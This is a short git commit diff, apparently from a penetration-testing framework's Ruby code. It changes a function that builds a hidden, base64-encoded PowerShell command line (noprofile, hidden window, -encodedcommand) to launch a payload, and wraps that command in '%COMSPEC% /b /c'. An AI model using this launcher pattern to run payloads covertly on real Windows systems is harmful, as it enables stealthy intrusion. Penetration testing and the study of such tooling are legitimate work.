Reinstate %COMSPEC%

bug/bundler_fix
Meatballs 2013-11-23 00:45:04 +00:00
parent c194fdc67e
commit 1c60373f68
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 3 additions and 1 deletions

View File

@ -245,11 +245,13 @@ EOS
#final_payload = encode_script(hidden_payload)
# Convert to base64 for -encodedcommand execution
command = generate_psh_command_line({
psh_command = generate_psh_command_line({
:noprofile => true,
:windowstyle => 'hidden',
:command => final_payload
})
command = "%COMSPEC% /b /c #{psh_command}"
vprint_status("Command length: #{command.length}")
return command
end